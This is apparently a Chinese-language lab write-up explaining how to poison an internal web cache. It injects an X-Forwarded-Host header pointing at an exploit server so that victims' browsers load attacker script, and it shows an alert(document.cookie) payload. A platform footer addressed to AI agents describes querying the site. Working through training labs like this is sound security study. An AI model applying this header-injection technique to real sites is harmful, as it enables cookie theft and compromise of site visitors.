> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/internal-cache-poisoning.md).

# 内部缓存投毒

### 内部缓存投毒

这个实验存在 Web 缓存投毒漏洞，并使用了多个缓存层。/ 一名用户经常使用 Chrome 访问该网站的主页。

目标是投毒 **内部缓存** 使主页执行 `alert(document.cookie)` 在受害者的浏览器中。

**初步分析**

我们拦截对根路径（`/`）并使用 **Param Miner**

<figure><img src="/files/31e8df10c1aae4462f46f2b358baeeb7623c41c7" alt=""><figcaption></figcaption></figure>

**行为观察**

当我们向请求中添加以下请求头时：

<figure><img src="/files/38e617ca7c60749165529d4d53c88aa580f477eb" alt=""><figcaption></figcaption></figure>

我们注意到服务器响应回显了这个值。

```http
X-Forwarded-Host: test.com
```

<figure><img src="/files/ea3d3cc6dcb7acaf151068824d21007a11dc2d2a" alt=""><figcaption></figcaption></figure>

不过，只有在该请求头在内部请求中被保留时，这个修改才可见。

通过发送大量带有此请求头的请求，服务器最终会 **缓存内部响应**.

\*\* 对缓存内容的影响\*\*

最初加载的脚本形式如下：

{% code overflow="wrap" %}

```html
<script src=
//0a3e00ba04f2869b810cbcb30088000a.web-security-academy.net/js/geolocate.js?callback=loadCountry>
</script>
```

{% endcode %}

在投毒缓存后会变成：

```html
<script src=
//test.com/js/geolocate.js?callback=loadCountry>
</script>
```

```javascript
<script>alert(document.cookie)</script>
```

<figure><img src="/files/958d59cb3fa544d2bc1912a666d8ec501331e969" alt=""><figcaption></figcaption></figure>

脚本的来源现在取决于通过 `X-Forwarded-Host`.

```http
X-Forwarded-Host: exploit-0a27006104d786ef8150bbc601bd0070.exploit-server.net
```

内部缓存已被恶意响应投毒。/ 当受害者访问主页时，浏览器会从我们的服务器加载该脚本，从而执行：

```javascript
alert(document.cookie)
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/internal-cache-poisoning.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
